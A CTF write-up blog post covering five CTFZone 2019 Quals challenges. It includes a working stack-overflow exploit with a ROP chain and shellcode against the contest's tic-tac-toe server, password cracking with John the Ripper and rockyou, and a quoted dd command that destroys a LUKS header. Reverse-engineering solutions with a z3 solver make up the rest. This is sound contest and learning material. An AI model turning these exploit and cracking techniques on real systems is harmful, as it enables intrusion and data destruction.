CTFするぞ

CTF以外のことも書くよ

CTFZone 2019 Quals Writeup

I played CTFZone 2019 Quals in zer0pts. Our team got 879pts and kept 37th place.

f:id:ptr-yudai:20191202083548p:plain

Thank you for organizing the CTF. Here's the tasks and solvers for some challenges I solved.

https://bitbucket.org/ptr-yudai/writeups/src/master/2019/CTFZone_2019_Quals/

[Pwn] Tic-tac-toe

Description: I'm the best AI architect ever. No one can beat my superb tic-tac-toe algorithm. Prove me wrong.
Server: nc pwn-tictactoe.ctfz.one 8889
Files: tictactoe, server.py

We're given a 64-bit ELF and python server.

$ checksec -f tictactoe
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   125 Symbols     No      0               14      tictactoe

The binary connects to the server and the server has the flag. We need to win an impossible game 100 times to get the flag. It has a simple stack overflow vulnerability when it reads our name. So, we can easily take the control but must keep it in mind that it's over socket. There's a function named send_flag, which asks the server for the flag and prints the response. However, we need to bypass the following checks to get the flag.

        if session not in self.sessions:
            err = ERROR_SESS
            msg = "You trying to cheat on me!\n"
        elif self.sessions[session]['level'] < FLAG_COUNT:
            err = ERROR_SESS
            msg = "You trying to cheat on me!\n"
        else:
            err = ERROR_NO
            msg = FLAG

The first check can be bypassed just by calling reg_user with proper rdi value set. The second check is annoying. We must win the game 100 times. I wrote a shellcode which "wins" the game 100 times as we can decide the computer's moves. The point is that I called send_flag in order to make rdx(=recv size) enough to store my shellcode.

from ptrlib import *
import time

fd = 4

elf = ELF("./tictactoe")
#sock = Socket("0.0.0.0", 8889)
sock = Socket("pwn-tictactoe.ctfz.one", 8889)
rop_pop_rdi = 0x0040310b
rop_pop_rsi_r15 = 0x00403109
addr_shellcode = elf.section(".bss") + 0x400

shellcode = b'\x49\xc7\xc7\x64\x00\x00\x00'
for h, c in [(0,3), (1,4), (2,8)]:
    shellcode += b'\xb9' + p32(h)
    shellcode += b'\xba' + p32(c)
    shellcode += b'\x48\xbe' + p64(elf.symbol('session'))
    shellcode += b'\x48\xb8' + p64(elf.symbol('server_ip'))
    shellcode += b'\x48\x8b\x38'
    shellcode += b'\x49\xbc' + p64(elf.symbol('send_state'))
    shellcode += b'\x41\xff\xd4'
shellcode += b'\x49\xff\xcf'
shellcode += b'\x4d\x85\xff'
shellcode += b'\x0f\x85\x6a\xff\xff\xff'
shellcode += b'\xc3'
shellcode += b'\x00' * (0x102 - len(shellcode))

time.sleep(1)
payload = b'A' * 0x58
payload += p64(rop_pop_rdi)
payload += p64(elf.section('.bss') + 0x100)
payload += p64(elf.symbol('reg_user'))
payload += p64(elf.symbol('send_flag'))
payload += p64(rop_pop_rdi)
payload += p64(fd)
payload += p64(rop_pop_rsi_r15)
payload += p64(addr_shellcode)
payload += p64(0xdeadbeef)
payload += p64(elf.symbol('recv_all'))
payload += p64(addr_shellcode)
payload += p64(elf.symbol('send_flag'))
payload += b'A' * (0x800 - len(payload))
sock.sendafter(": ", payload)
time.sleep(1)
sock.send(shellcode)
time.sleep(3)

sock.interactive()

Yay!

$ python solve.py 
[+] __init__: Successfully connected to pwn-tictactoe.ctfz.one:8889
[ptrlib]$ 

You trying to cheat on me!

[ptrlib]$ 

ctfzone{h3r3_w3_g0_4g41n_t1c_t4c_t03_1z_4_n1z3_g4m3}

[Rev] Baby rev

Description: EZ task for beginners in RE. Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE}).
File: BABY_REV.EXE

It's a 16-bit MS-DOS executable. It can't be recognized by IDA but I loaded it as a binary file and somehow found the main routine. This is the overview of the program:

int main(int argc, char **argv) {
  short c;
  int i, j;
  FILE *fp;
  char key[0x50*6];

  if (argc < 2) {
    printf("usage: %s <key_file>\n", argv[0]);
    return 1;
  }

  fp = fopen(argv[1], "rb");
  if (fp == NULL) {
    printf("cannot open file %s\n", argv[1]);
    return 1;
  }

  for(i = 0; i < 6; i++) {
    for(j = 0; j < 0x50; j++) {
      c = fgetc(fp);
      if (c != EOF) {
        buffer[i*0x50+j] = c;
      }
    }
  }

  if (check01(key) == 0 || ... || check08(key) == 0) {
    printf("Incorrect flag\n");
  } else {
    for(i = 0; i < 6; i++) {
      for(j = 0; j < 0x50; j++) {
        printf("%c", key[i * 0x50 + j]);
      }
    }
  }
}

Each checkXX function checks every byte of key like this:

     40c:       80 3c db                cmpb   $0xdb,(%si)
     40f:       74 03                   je     0x414
     411:       e9 12 02                jmp    0x626
     414:       80 7c 01 db             cmpb   $0xdb,0x1(%si)
     418:       74 03                   je     0x41d
     41a:       e9 09 02                jmp    0x626
     41d:       80 7c 02 db             cmpb   $0xdb,0x2(%si)
     421:       74 03                   je     0x426
     423:       e9 00 02                jmp    0x626
     426:       80 7c 03 bb             cmpb   $0xbb,0x3(%si)
     42a:       74 03                   je     0x42f
...

I wrote a python script.

import re

key = b'?' * (0x50*6)
key = b'\xdb' + key[1:]
with open("disasm.txt", "r") as f:
    for line in f:
        if 'cmpb' not in line: continue
        r = re.findall("\$0x([0-9a-f]+),0x([0-9a-f]+)\(%si\)", line)
        if r:
            val = int(r[0][0], 16)
            ofs = int(r[0][1], 16)
            key = key[:ofs] + bytes([val]) + key[ofs+1:]

for i in range(6):
    for j in range(0x50):
        c = key[i*0x50+j]
        if c == 0xdb: c = ord('#')
        elif c == 0xcd: c = ord('.')
        elif c != 0x20 and c != 0x0a: c = ord('_')
        print(chr(c), end="")

ctfzone{N1C3_FLAG!1}

$ python solve.py 
###__  ##_ ##_ ######_######_         #######_##_      #####_  ######_ ##_ ##__
####_  ##_###_##_....__....##_        ##_...._##_     ##_..##_##_...._ ##_###__
##_##_ ##__##_##_      #####__        #####_  ##_     #######_##_  ###_##__##__
##__##_##_ ##_##_      _...##_        ##_.._  ##_     ##_..##_##_   ##__._ ##__
##_ _####_ ##__######_######__#######_##_     #######_##_  ##__######__##_ ##__
_._  _..._ _._ _.....__....._ _......__._     _......__._  _._ _....._ _._ _.__

[Rev] Strange PDF

Description: You have one PDF file. Now calculate the flag. It's in decimal, by the way.
File: document.pdf

The PDF just says:

f:id:ptr-yudai:20191202085238p:plain

I found startxref and xrefs for objects are wrong. As the xref for even the first object is wrong, I realized a weired comment was inserted in the head of the PDF. Also, file command says it's DOS/MBR boot sector.

$ file document.pdf 
document.pdf: DOS/MBR boot sector

So, I interpreted the comment as DOS machine code.

and ax, 0x4450
inc si
sub ax, 0x2e31
xor al, 0xa
and ax, 0xb7e2
mov ah, 2
mov bh, 0
mov dh, 1
mov dl, 1
int 0x10
mov ah, 0xa
mov al, 0x39
mov bh, 0
mov cx, 5
int 0x10
mov ah, 2
mov bh, 0
mov dh, 1
mov dl, 3
int 0x10
mov ah, 0xa
mov al, 0x33
mov bh, 0
mov cx, 1
int 0x10

This code outputs 99399 and I got the flag by setting this value as x.

[Forensics] Joshua

Description: This should be an easy one, just remember to rock. (Sorry, the flag on disk begins with CTFZone, please change it to all lowercase, when you submit).
Files: joshua.img

We're given a 20GB disk dump.

$ mmls joshua.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0007999487   0007997440   Linux Swap / Solaris x86 (0x82)
003:  -------   0007999488   0008001535   0000002048   Unallocated
004:  Meta      0008001534   0039835647   0031834114   DOS Extended (0x05)
005:  Meta      0008001534   0008001534   0000000001   Extended Table (#1)
006:  001:000   0008001536   0039835647   0031834112   Linux (0x83)
007:  000:002   0039835648   0041932799   0002097152   Linux (0x83)
008:  -------   0041932800   0041943039   0000010240   Unallocated

First of all, I checked the bash history of root user.

$ icat joshua.img -o 0008001536 24
usermod -l joshua -d /home/joshua -m vospnh
cat /etc/hostname 
cat /etc/hosts
usermod -l joshua -d /home/joshua -m vospnh
groups
groups vospnh
groups joshua
groupmod -n joshua vospnh 
reboot

Let's check the history of joshua.

$ icat joshua.img -o 0008001536 281438
sudo nano /etc/hostname
sudo nano /etc/hosts
cat /etc/host
cat /etc/hostname 
sudo passwd root
su root
sudo blkid
sudo mount /dev/sdb1
sudo mount /dev/sdb1 /mnt
syn
sync
sudo cryptsetup close cryptovolume
chsh -s /bin/zsh
echo $(SHELL)
zsh
cat /var/log/auth.log
faillog
chsh -s zsh
sudo apt install zsh
chsh -s /bin/zsh
sudo apt install keepass2
keepass2
sudo luksformat /dev/sda3
sudo cryptsetup close /dev/mapper/
ls /dev/mapper
chsh -s /bin/bash
rm ~/.zshrc
rm ~/.zsh_history 
sudo apt remove zsh
ls -a
cd ~
ls
ls -a
rm -r .oh-my-zsh/

Obviously it's a malicious user. What he/she had done is:

  • Install zsh, cryptsetup and keepass2
  • Edit /etc/hostname and /etc/hosts
  • Change password for root
  • Encrypts /dev/sda3

These actions can also be seen in /var/log/auth.log. He uses zsh for some actions in order not to leave the log. First, I extracted the keepass database and the key file. KeepItSafe.kdbx and KeepItSafe.key are located in /home/joshua/Documents.

$ fls joshua.img -o 0008001536 281306
r/r * 284143(realloc):  KeepItSafe.key
r/r * 284675(realloc):  KeepItSafe.kdbx.tmp
r/r 284675:     KeepItSafe.kdbx

Second, I extracted /etc/passwd and /etc/shadow, and cracked the password for joshua with using John the Ripper and rockyou.txt. After running john for an hour, I found the password cycofr3ak.

f:id:ptr-yudai:20191202092016p:plain

I opened the keepass database with the key file and the password, and found an entry named VerySecureKey, whose password is ZRLkirbilgQEtueuhqPCCzcYgvLxQ8. So, keepass part is done. What we need to do is decrypt the disk encrypted with luks format. We can find the following commands from /var/log/auth.log.

/sbin/cryptsetup luksHeaderBackup /dev/sda3 --header-backup-file /sbin/secure/hb
/bin/dd if=/dev/urandom of=/dev/sda3 bs=512 count=1

It corrupts the header but also keeps the backup. So, using the backup file we may find the head of the luks-encrypted disk. I wrote a simple script to find the encryped disk.

with open("hb", "rb") as f:
    hb = f.read(0x100000)

ofs = 0
with open("joshua.img", "rb") as f:
    while True:
        buf = f.read(len(hb))
        if buf == b'': break
        x = buf.find(hb[512:0x1000])
        if x >= 0:
            print(hex(ofs + x - 512))
        ofs += len(buf)

It finds 2 sections, one for /sbin/secure/hb and another for the disk (0x4bfb00000). I dumped the disk and fixed the header, then run cryptsetup luksOpen encrypted.luks luks to mount the image. Finally I found the flag in the mounted volume.

ctfzone{cryptographic_volumes_are_only_as_good_as_the_weakest_link}

[Rev] M394Dr1V3 cr4cKM3

Description: Hey, I've found this old crackme under the rug in the attic, could you solve it for me? Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE}).
File: m394Dr1V3_cr4cKM3.bin

We're given a Mega Drive ROM file.

$ file m394Dr1V3_cr4cKM3.bin 
m394Dr1V3_cr4cKM3.bin: Sega Mega Drive / Genesis ROM image: "                " (GM 01234567-89, COPYLEFT CTFZONE)

I used genesis script to import the ROM with ghidra, and DGen/SDL to emulate the ROM. We need to enter 16-byte password.

f:id:ptr-yudai:20191202092952p:plain

How great of Ghidra! It's decompling the process perfectly!

f:id:ptr-yudai:20191202093129p:plain

I wrote a script to find the key.

from z3 import *

key = [BitVec("key{:02x}".format(i), 8) for i in range(0x10)]
s = Solver()
for c in key:
    s.add(And(ord('0') <= c, c <= ord('Z')))
s.add(And(
    key[0]*0x4f + key[1]*0x28 + key[2]*0x04 + key[3]*0x1c == (-9 % 0x100),
    key[0]*0x25 + key[1]*0x3f + key[2]*0x05 + key[3]*0x3c == 0x2f,
    key[0]*0x60 + key[1]*0x40 + key[2]*0x5e + key[3]*0x08 == 2,
    key[0]*0x3b + key[1]*0x01 + key[2]*0x4e + key[3]*0x10 == (-0x4a % 0x100)
))
s.add(And(
    key[4]*0x4f + key[5]*0x28 + key[6]*0x04 + key[7]*0x1c == (-0x48 % 0x100),
    key[4]*0x25 + key[5]*0x3f + key[6]*0x05 + key[7]*0x3c == (-3 % 0x100),
    key[4]*0x60 + key[5]*0x40 + key[6]*0x5e + key[7]*0x08 == 0x18,
    key[4]*0x3b + key[5]*0x01 + key[6]*0x4e + key[7]*0x10 == (-0x71 % 0x100)
))
s.add(And(
    key[8]*0x4f + key[9]*0x28 + key[10]*0x04 + key[11]*0x1c == 0x3e,
    key[8]*0x25 + key[9]*0x3f + key[10]*0x05 + key[11]*0x3c == (-0x48 % 0x100),
    key[8]*0x60 + key[9]*0x40 + key[10]*0x5e + key[11]*0x08 == (-0x70 % 0x100),
    key[8]*0x3b + key[9]*0x01 + key[10]*0x4e + key[11]*0x10 == (-0x20 % 0x100)
))
s.add(And(
    key[12]*0x4f + key[13]*0x28 + key[14]*0x04 + key[15]*0x1c == (-0x31%0x100),
    key[12]*0x25 + key[13]*0x3f + key[14]*0x05 + key[15]*0x3c == (-0x7b%0x100),
    key[12]*0x60 + key[13]*0x40 + key[14]*0x5e + key[15]*0x08 == (-0x34%0x100),
    key[12]*0x3b + key[13]*0x01 + key[14]*0x4e + key[15]*0x10 == 0x41
))

answer = ['?' for i in range(0x10)]
r = s.check()
if r == sat:
    m = s.model()
    for d in m.decls():
        print(d, m[d])
        answer[int(d.name()[3:], 16)] = chr(m[d].as_long())
    answer = ''.join(answer)
    print("Found!")
    print(answer)
else:
    print("unsat...")

I got the flag by entering this key in the emulator.

f:id:ptr-yudai:20191202093256p:plain

ctfzone{0mg_it$fu11_0f_f1ags_lo1!}